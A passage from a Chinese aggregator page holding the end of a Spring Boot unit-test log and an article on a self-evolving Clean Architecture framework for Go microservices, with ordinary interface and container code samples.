classes or make the default listener classes and their required dependencies available. Offending class: [org/springframework/transaction/interceptor/TransactionAttribute] 13:31:04.244 [main] INFO org.springframework.boot.test.context.SpringBootTestContextBootstrapper - Using TestExecutionListeners: [org.springframework.test.context.web.ServletTestExecutionListener@7133da86, org.springframework.test.context.support.DirtiesContextBeforeModesTestExecutionListener@3232a28a, org.springframework.boot.test.mock.mockito.MockitoTestExecutionListener@73e22a3d, org.springframework.boot.test.autoconfigure.SpringBootDependencyInjectionTestExecutionListener@47faa49c, org.springframework.test.context.support.DirtiesContextTestExecutionListener@28f2a10f, org.springframework.test.context.event.EventPublishingTestExecutionListener@f736069, org.springframework.boot.test.mock.mockito.ResetMocksTestExecutionListener@6da21078, org.springframework.boot.test.autoconfigure.restdocs.RestDocsTestExecutionListener@7fee8714, org.springframework.boot.test.autoconfigure.web.client.MockRestServiceServerResetTestExecutionListener@4229bb3f, org.springframework.boot.test.autoconfigure.web.servlet.MockMvcPrintOnlyOnFailureTestExecutionListener@56cdfb3b, org.springframework.boot.test.autoconfigure.web.servlet.WebDriverTestExecutionListener@2b91004a, org.springframework.boot.test.autoconfigure.webservices.client.MockWebServiceServerTestExecutionListener@20ccf40b] 13:31:04.250 [main] DEBUG org.springframework.test.context.support.AbstractDirtiesContextTestExecutionListener - Before test class: context [DefaultTestContext@6cd28fa7 testClass = Chapter0302junitApplicationTests, testInstance = [null], testMethod = [null], testException = [null], mergedContextConfiguration = [WebMergedContextConfiguration@614ca7df testClass = Chapter0302junitApplicationTests, locations = '{}', classes = '{class com.cloud.skyme.Chapter0302junitApplication}', contextInitializerClasses = '[]', activeProfiles = '{}', propertySourceLocations = '{}', propertySourceProperties = '{org.springframework.boot.test.context.SpringBootTestContextBootstrapper=true, server.port=0}', contextCustomizers = set[org.springframework.boot.test.context.filter.ExcludeFilterContextCustomizer@3b07a0d6, org.springframework.boot.test.json.DuplicateJsonObjectContextCustomizerFactory$DuplicateJsonObjectContextCustomizer@14d3bc22, org.springframework.boot.test.mock.mockito.MockitoContextCustomizer@0, org.springframework.boot.test.web.client.TestRestTemplateContextCustomizer@45b9a632, org.springframework.boot.test.autoconfigure.properties.PropertyMappingContextCustomizer@0, org.springframework.boot.test.autoconfigure.web.servlet.WebDriverContextCustomizerFactory$Customizer@5e316c74, org.springframework.boot.test.context.SpringBootTestArgs@1], resourceBasePath = 'src/main/webapp', contextLoader = 'org.springframework.boot.test.context.SpringBootContextLoader', parent = [null]], attributes = map['org.springframework.test.context.web.ServletTestExecutionListener.activateListener' -> false]], class annotated with @DirtiesContext [false] with mode [null]. 13:31:04.267 [main] DEBUG org.springframework.test.context.support.DependencyInjectionTestExecutionListener - Performing dependency injection for test context [[DefaultTestContext@6cd28fa7 testClass = Chapter0302junitApplicationTests, testInstance = com.cloud.skyme.Chapter0302junitApplicationTests@31fa1761, testMethod = [null], testException = [null], mergedContextConfiguration = [WebMergedContextConfiguration@614ca7df testClass = Chapter0302junitApplicationTests, locations = '{}', classes = '{class com.cloud.skyme.Chapter0302junitApplication}', contextInitializerClasses = '[]', activeProfiles = '{}', propertySourceLocations = '{}', propertySourceProperties = '{org.springframework.boot.test.context.SpringBootTestContextBootstrapper=true, server.port=0}', contextCustomizers = set[org.springframework.boot.test.context.filter.ExcludeFilterContextCustomizer@3b07a0d6, org.springframework.boot.test.json.DuplicateJsonObjectContextCustomizerFactory$DuplicateJsonObjectContextCustomizer@14d3bc22, org.springframework.boot.test.mock.mockito.MockitoContextCustomizer@0, org.springframework.boot.test.web.client.TestRestTemplateContextCustomizer@45b9a632, org.springframework.boot.test.autoconfigure.properties.PropertyMappingContextCustomizer@0, org.springframework.boot.test.autoconfigure.web.servlet.WebDriverContextCustomizerFactory$Customizer@5e316c74, org.springframework.boot.test.context.SpringBootTestArgs@1], resourceBasePath = 'src/main/webapp', contextLoader = 'org.springframework.boot.test.context.SpringBootContextLoader', parent = [null]], attributes = map['org.springframework.test.context.web.ServletTestExecutionListener.activateListener' -> false]]].
13:31:04.306 [main] DEBUG org.springframework.test.context.support.TestPropertySourceUtils - Adding inlined properties to environment: {spring.jmx.enabled=false, org.springframework.boot.test.context.SpringBootTestContextBootstrapper=true, server.port=0}

  .   ____          _            __ _ _
 /\\ / ___'_ __ _ _(_)_ __ __ _ \ \ \ \ ( ( )\___ | '_ | '_| | '_ \/ _` | \ \ \ \ \\/ ___)| |_)| | | | | || (_| | ) ) ) ) ' |____| .__|_| |_|_| |_\__, | / / / / =========|_|==============|___/=/_/_/_/ :: Spring Boot :: (v2.3.1.RELEASE) 2020-06-28 13:31:04.940 INFO 8376 --- [ main] c.c.s.Chapter0302junitApplicationTests : Starting Chapter0302junitApplicationTests on WIN-55FHBQI56BD with PID 8376 (started by Administrator in C:\java\workspace\microservice\chapter0302junit) 2020-06-28 13:31:04.942 INFO 8376 --- [ main] c.c.s.Chapter0302junitApplicationTests : No active profile set, falling back to default profiles: default 2020-06-28 13:31:09.134 INFO 8376 --- [ main] o.s.b.w.embedded.tomcat.TomcatWebServer : Tomcat initialized with port(s): 0 (http) 2020-06-28 13:31:09.160 INFO 8376 --- [ main] o.apache.catalina.core.StandardService : Starting service [Tomcat] 2020-06-28 13:31:09.161 INFO 8376 --- [ main] org.apache.catalina.core.StandardEngine : Starting Servlet engine: [Apache Tomcat/9.0.36] 2020-06-28 13:31:09.372 INFO 8376 --- [ main] o.a.c.c.C.[Tomcat].[localhost].[/] : Initializing Spring embedded WebApplicationContext 2020-06-28 13:31:09.372 INFO 8376 --- [ main] w.s.c.ServletWebServerApplicationContext : Root WebApplicationContext: initialization completed in 4316 ms 2020-06-28 13:31:10.029 INFO 8376 --- [ main] o.s.s.concurrent.ThreadPoolTaskExecutor : Initializing ExecutorService 'applicationTaskExecutor' 2020-06-28 13:31:10.655 INFO 8376 --- [ main] o.s.b.w.embedded.tomcat.TomcatWebServer : Tomcat started on port(s): 59724 (http) with context path '' 2020-06-28 13:31:10.673 INFO 8376 --- [ main] c.c.s.Chapter0302junitApplicationTests : Started Chapter0302junitApplicationTests in 6.362 seconds (JVM running for 8.218) 2020-06-28 13:31:11.423 INFO 8376 --- [o-auto-1-exec-1] o.a.c.c.C.[Tomcat].[localhost].[/] : Initializing Spring DispatcherServlet 'dispatcherServlet' 2020-06-28 13:31:11.423 INFO 8376 --- [o-auto-1-exec-1] o.s.web.servlet.DispatcherServlet : Initializing Servlet 'dispatcherServlet' 2020-06-28 13:31:11.461 INFO 8376 --- [o-auto-1-exec-1] o.s.web.servlet.DispatcherServlet : Completed initialization in 37 ms controller 2020-06-28 13:31:13.497 INFO 8376 --- [extShutdownHook] o.s.s.concurrent.ThreadPoolTaskExecutor : Shutting down ExecutorService 'applicationTaskExecutor'

 

 這樣,一個web應用從構建到單元測試就都已經完成了,可見,構建一個Spring Web MVC的應用就是如此簡單。

本站聲明:網站內容來源於博客園,如有侵權,請聯繫我們,我們將及時處理

【其他文章推薦】

※為什麼 USB CONNECTOR 是電子產業重要的元件?

網頁設計一頭霧水該從何著手呢? 台北網頁設計公司幫您輕鬆架站!

※台北網頁設計公司全省服務真心推薦

※想知道最厲害的網頁設計公司"嚨底家"!

新北清潔公司,居家、辦公、裝潢細清專業服務

※推薦評價好的iphone維修中心

一個可以自我進化的微服務框架

你是否遇到過這樣的框架,它非常簡單又是輕量級的,很容易上手,然而當你的項目變得複雜的時候它能自我進化成功能強大的重量級框架,而不需要把整個項目重寫? 我是從來沒見過。

先讓我們來看一下項目的生命周期。通常,當一個新項目開始時,我們不知道它能持續多久,所以我們希望它盡可能簡單。大多數項目都會在短時間內夭折,所以它們並不需要複雜的框架。然而,其中有一些擊中了用戶的痛點並受到歡迎,我們就會不斷地對它們改進,使它們變得越來越複雜。結果就是原來簡單的框架和設計已經遠遠不能滿足需求,剩下的唯一方法就是重寫整個項目,並引入強大的重量級框架。如果項目持續受歡迎,我們可能需要多次重寫整個項目。

這時一個能自我進化的框架就展現出優勢。我們可以在項目開始時使用這個輕量級框架,並只在確實需要時才將其進化為重量級框架, 在這個過程中我們不需要重寫整個項目或更改任何業務邏輯代碼,當然你需要對創建結構(struct)的代碼(也叫程序容器)做一些修改。但這個修改比起修改業務邏輯或重寫整個項目不知要容易多少倍。

這聽起來太棒了,但有這樣的東西嗎?很長一段時間以來,我都認為這是不可能的,直到最近竟然找到了一個。

去年,我創建了一個基於清晰架構(Clean Architecture)的框架,並寫了一系列關於它的文章。請查看”清晰架構(Clean Architecture)的Go微服務” 。它使用工廠方法設計模式來創建對象(結構),功能非常強大,但有點重。我希望能把它改的輕一些,這樣簡單的項目也能使用。但我發現任何強大的框架都是重量級的。沒有一個框架是輕量級的但同時又非常強大,正如魚與熊掌不可兼得。我在這上面花了不少時間,最後終於找到了一個方法,就是讓框架能夠自我進化。

解決方案

我們可以將一個項目的代碼分為兩部分,一部分是業務邏輯(Business Logic),其中所有調用都基於接口,不涉及具體對象(結構)。另一部分是為這些接口創建具體對象(結構(struct)),我們可以稱之為程序容器(Application Container)(詳情參見”清晰架構(Clean Architecture)的Go微服務: 程序容器(Application Container)”) 。這樣,我們就可以讓業務邏輯保持不變,而使程序容器自我進化。大多數程序容器都用依賴注入來將對象(結構)注入到業務邏輯中,“Spring”就是一個很好的例子。但是,要使框架能夠自我進化,關鍵是不能直接使用依賴注入作為這兩部分之間的接口。相反,你必須使用一個非常簡單的接口。當然,你依然可以使用依賴注入,但這隻是在程序容器內部,因此只是程序容器的實現細節。

下面就是框架的結構圖.

程序容器和業務邏輯之間的接口

程序容器和業務邏輯之間的接口應該非常簡單。唯一的功能就是讓業務邏輯能獲取具體對象(結構)。在清晰架構中,大多數情況下你只需要獲取用例(Use Case)。

下面就是程序容器的接口:

type Container interface {
	// BuildUseCase creates concrete types for use case and it's included types.
	// For each call, it will create a new instance, which means it is not a singleton
	BuildUseCase(code string) (interface{}, error)

	// This should only be used by container and it's sub-package
	// Get instance by code from container.
	Get(code string) (interface{}, bool)

	// This should only be used by container and it's sub-package
	// Put value into container with code as the key.
	Put(code string, value interface{})

}

如何讓程序容器進化

我定義了三種模式的程序容器,從最簡單到最複雜,你可以直接使用。你也可以定義新的程序容器模式,只要它遵循上面的接口即可。你可以隨時將程序容器替換為其他模式,而無需更改業務邏輯代碼。

初級模式

這是最簡單的模式,它不涉及任何設計模式。它的最大優點是簡單,易學,易用。絕大多數的項目都可以從此模式開始。使用這種模式可以在一天之內創建整個項目。如果項目很簡單,在一小時內完成都是有可能的。如果你不再需要這個項目,就可以一點也不可惜地丟棄它。缺點是它提供的功能非常簡單,所有配置信息都是以硬編碼的形式寫在程序中,既不靈活也不強大。最適合POC(概念驗證)類型的項目。具體實例可查看 “訂單服務” 。這是一個事件驅動的微服務項目,旨在提供訂單服務。

以下是初級模式的結構圖,框內是程序容器:

增強模式

這種模式類似於初級模式,主要改進是增加了配置參數管理。在這種模式下,配置參數不再是硬編碼在代碼中的,它們是在結構(struts)中定義的。你也可以對它們進行校驗。更改程序配置要容易得多,你可以在單個文件里看到項目的所有配置參數,從而掌握整個程序的全貌。該框架仍然非常簡單,不涉及任何設計模式。當項目已經穩定並且需要某種結構時,可以切換到這種模式。具體實例可查看”支付服務”. 這是一個事件驅動的微服務項目,旨在提供支付服務。

以下是增強模式的結構圖,框內是程序容器:

高級模式

當你有一個複雜項目時,你需要一個功能強大的框架來與之匹配。你可能會有一些比較複雜的需求,如更改所用的數據庫或動態更改配置參數(不需更改代碼)。這時,你可以將項目升級為高級模式。它將在程序容器中使用依賴注入。具體實例可查看”Service template 1″。 這是一個清晰架構(Clean Architecture)的微服務框架。

以下是高級模式的結構圖,框內是程序容器,它的文件結構看起來有很大的不同。

如何升級

假設你有一個新項目,最容易的啟動方式的是複製整個“訂單服務”項目,然後將裏面的結構(struct)更改為你的結構,並完成業務邏輯代碼。在這個過程中,你可以保留“訂單服務”項目的目錄結構和一些接口。過了一段時間,你發現需要升級到高級模式。這時,最簡單的方法是從“servicetmp1”項目中複製“app”文件夾,並替換你的項目中的“ app”文件夾,然後對程序容器進行相應的修改。完成之後,你無需更改業務邏輯中的任何代碼,一切都應該可以正常工作。如果你了解這個框架,整個過程應該不會超過一天時間,甚至更短都有可能。

此方案的關鍵元素

要想框架能夠自我進化,它必須按照特定的方式進行設計和創建。以下是框架的四個關鍵元素。

  • 程序結構
  • 程序容器
  • 基於接口的業務邏輯
  • 可插拔的第三方接口庫

基於接口(Interface)的業務邏輯

前面已經講了程序結構和程序容器,這裏主要講解業務邏輯。基於接口的業務邏輯是框架能自我進化的關鍵。在應用程序的業務邏輯部分,你可能有不同類型的元素,例如“用例(use case)”,“域模型(domain model)”,“存儲庫(repository)”和“域服務(domain service)”。除了“域模型(domain model)”或“域事件(domain event)”之外,業務邏輯中的幾乎所有元素都應該是接口(而不是結構(struct))。有關程序設計和項目結構的詳細信息,請查看”清晰架構(Clean Architecture)的Go微服務: 程序設計”

內部接口

在業務邏輯中有兩種不同類型的接口。一種是內部接口,另一種是外部接口。內部接口是在應用程序內部使用的接口(通常不能與其他程序共享),例如“用例”,它是清晰架構中的重要元素。以下是“RegistrationUseCaseInterface”用例的接口。

type RegistrationUseCaseInterface interface {
	RegisterUser(user *model.User) (resultUser *model.User, err error)

	UnregisterUser(username string) error
	
	ModifyUser(user *model.User) error
	
	ModifyAndUnregister(user *model.User) error
}

可插拔的第三方接口庫

通常業務邏輯需要與外部世界交互並使用它們提供的服務,例如,日誌服務、消息服務等等。這些都是外部接口,常常可以被很多應用程序共享。在領域驅動設計中,它們被稱為“應用服務(application service)”。 通常有許多庫或應用程序可以提供這樣的服務, 但你不希望將應用程序與它們中的任何一個綁定。最好是能隨時替換任何服務而又不需要更改代碼。

問題是每個服務都有自己的接口。理想的情況是,我們已經有了標準接口,所有不同的服務提供者都遵循相同的接口。這將是開發者的夢想成真。Java有一個“JDBC”的接口,它隱藏了每個數據庫的實現細節,使我們能按照統一的方式處理不同的SQL數據庫。不幸的是,這種成功並沒有擴展到其他領域。

要想讓框架變得很輕量的一個關鍵是把服務都變成標準接口,並把它們移到框架之外,使之成為第三方庫,其中不僅包含了標準接口,同時也封裝了支持這個接口的庫。這樣這個第三方庫就變成了可插拔的標準組件。為了讓應用程序基於接口設計,我創建了三個通用接口分別用於日誌記錄、消息傳遞和事務管理。創建一個好的標準接口是非常困難的,由於我在上面這些領域都不是專家,因此這些自建的接口離標準接口有一定差距。但對於我的應用程序來說,這已經足夠。我希望各個領域的專家能儘快制定出標準接口。在沒有標準接口之前,可以自定義接口,為以後切換到標準接口做好準備。

下面是日誌的通用接口:

type Logger interface {
	Errorf(format string, args ...interface{})
	Fatalf(format string, args ...interface{})
	Fatal(args ...interface{})
	Infof(format string, args ...interface{})
	Info(args ...interface{})
	Warnf(format string, args ...interface{})
	Debugf(format string, args ...interface{})
	Debug(args ...interface{})
}

這個第三方庫的結構是與框架或應用程序的結構相匹配的,這樣才能與框架很好地對接。關於如何創建一個第三方庫,我會單獨寫一篇文章[“事件驅動的微服務-創建第三方庫”]來講解。

框架(framework)或者庫(Lib)?

框架和庫之間的爭論已經持續了很久了。大多數人更喜歡庫而不是框架,因為它是輕量級的並更加靈活。但為什麼我要創建一個框架而不是一個庫呢? 因為你仍然需要一個框架來將所有不同的庫組織在一起(不論它是自建的或是第三方的)。因此你通常要用很多庫,但只要一個框架。問題是有用的框架都太重了,我們需要一個輕量級的好用的框架。

因為業務邏輯中的元素都是基於接口的,我們可以把框架視為總線(接口總線),將任何基於接口的服務插入其中。這就是所謂的可插拔框架,它實現了框架與庫的完美結合。

在這個框架之下,一個應用程序的生態由三部分組成,一個是可進化的框架;另一個是可插拔的第三方標準接口(這個接口是可以不依賴於任何框架而單獨使用的),例如上面提到的日誌接口;最後是支持標準接口的具體實現庫,例如對日誌功能來講就是”zap” 或”Logrus”。 而可進化的框架就成了把它們串接起來的主線。

與其它框架的比較

本文的框架是基於清晰架構(Clean Architecture) 的。你可以在很多其他框架中看到相似的元素,比如Java中的“Spring”,它也有程序容器並大量地使用了依賴注入。本框架唯一的新東西是自我進化。

通常,大多數框架都試圖通過使用多種設計模式來應對未來的不確定性。而它需要複雜的邏輯,這就不可避免地將這種複雜性寫入到代碼中。這就使得多數有用的框架都很重,不論學習和使用都難度較高。但如果未來的情況與預計的並不相符,那麼這種內置的複雜性就得不到利用,而變成巨大的負擔。“Spring”就是一個很好的例子,它非常強大但也很重,適合複雜的項目,但是對於簡單的項目就很浪費。本框架在設計時徹底改變了思路,不對未來做任何假設,因此就不需預先在代碼中引入複雜的設計模式。你可以從最簡單的框架開始,只有當你的程序變得很複雜並需要與之匹配的框架時,才進化成複雜的框架。當然你的程序必須遵從一定的設計結構,這裏面的關鍵是基於接口的設計。當前,我們已進入了微服務時代,大多數項目都是小的服務,這對能夠自我進化框架的需求就變得更為強烈。

應用程序如何使用框架?

在清晰架構中,“用例”是一個關鍵組件。如果你想了解一個應用程序,就從這裏開始。業務邏輯只需要獲得用例一個接口,就可以完成需要的任何操作,因為所有其它需要的接口都包含在“用例”中。

在業務邏輯中,“用例”被定義成接口而不是結構(struct)。在運行時,你需要獲得用例的具體實現結構(struct)並將其注入到業務邏輯中。它的步驟是這樣的,首先創建容器,然後構建具體的用例,最後調用“用例”中的函數。

如何調用“用例”

下面是構建程序容器的代碼。

func buildContainer(filename string) (container.Container, error) {
	container, err := app.InitApp(filename)
	if err != nil {
		return nil, errors.Wrap(err, "")
	}
	return container, nil
}

下面是程序容器中的函數”InitApp()”(在文件”app.go”里),調用它來初始化容器。

func InitApp(filename...string) (container.Container, error) {
	err := initLogger()
	if err != nil {
		return nil, err
	}
	return initContainer()
}

下面是用來創建”Registration”用例的幫助函數,它在文件”serviceTmplContainer.go”里。

func GetRegistrationUseCase(c container.Container) (usecase.RegistrationUseCaseInterface, error) {
	key := config.REGISTRATION
	value, err := c.BuildUseCase(key)
	if err != nil {
		//logger.Log.Errorf("%+v\n", err)
		return nil, errors.Wrap(err, "")
	}
	return value.(usecase.RegistrationUseCaseInterface), nil
}

下面是調用”Registration”用例的代碼,它先調用”GetRegistrationUseCase”來得到用例,然後再調用“用例”裏面的”RegisterUser()”函數。

func testRegisterUser(container container.Container) {
	ruci, err := containerhelper.GetRegistrationUseCase(container)
	if err != nil {
		logger.Log.Fatal("registration interface build failed:%+v\n", err)
	}
	created, err := time.Parse(timea.FORMAT_ISO8601_DATE, "2018-12-09")
	if err != nil {
		logger.Log.Errorf("date format err:%+v\n", err)
	}

	user := model.User{Name: "Brian", Department: "Marketing", Created: created}

	resultUser, err := ruci.RegisterUser(&user)
	if err != nil {
		logger.Log.Errorf("user registration failed:%+v\n", err)
	} else {
		logger.Log.Info("new user registered:", resultUser)
	}
}

結論

本文介紹了一個能夠自我進化的輕量級的清晰架構框架。當創建一個新項目時你可以從最簡單的輕量級的框架開始。當此項目不斷髮展變得複雜時,框架可以自我進化為一個功能強大的重量級框架。在此過程中,不需要更改任何業務代碼。目前它有三種模式,分別是初級模式,增強模式和高級模式。最複雜的是高級模式,它基於依賴注入,非常強大。我創建了三個簡單的應用程序來說明展示如何使用它,每個程序對應一種模式。

源碼:

完整的源碼:

  • “servicetmpl1”
  • “Order Service”
  • “Payment Service”

索引:

1 “清晰架構(Clean Architecture)的Go微服務”

2 “清晰架構(Clean Architecture)的Go微服務: 程序容器(Application Container)”

3 “訂單服務”

4 “支付服務”

5 “Service template 1”

6 “zap”

7 “Logrus”

8 “清晰架構(Clean Architecture)的Go微服務: 程序設計”

9 [“事件驅動的微服務-創建第三方庫”]

10 The Clean Architcture

本站聲明:網站內容來源於博客園,如有侵權,請聯繫我們,我們將及時處理
【其他文章推薦】

USB CONNECTOR掌控什麼技術要點? 帶您認識其相關發展及效能

台北網頁設計公司這麼多該如何選擇?

※智慧手機時代的來臨,RWD網頁設計為架站首選

※評比南投搬家公司費用收費行情懶人包大公開

※幫你省時又省力,新北清潔一流服務好口碑

※回頭車貨運收費標準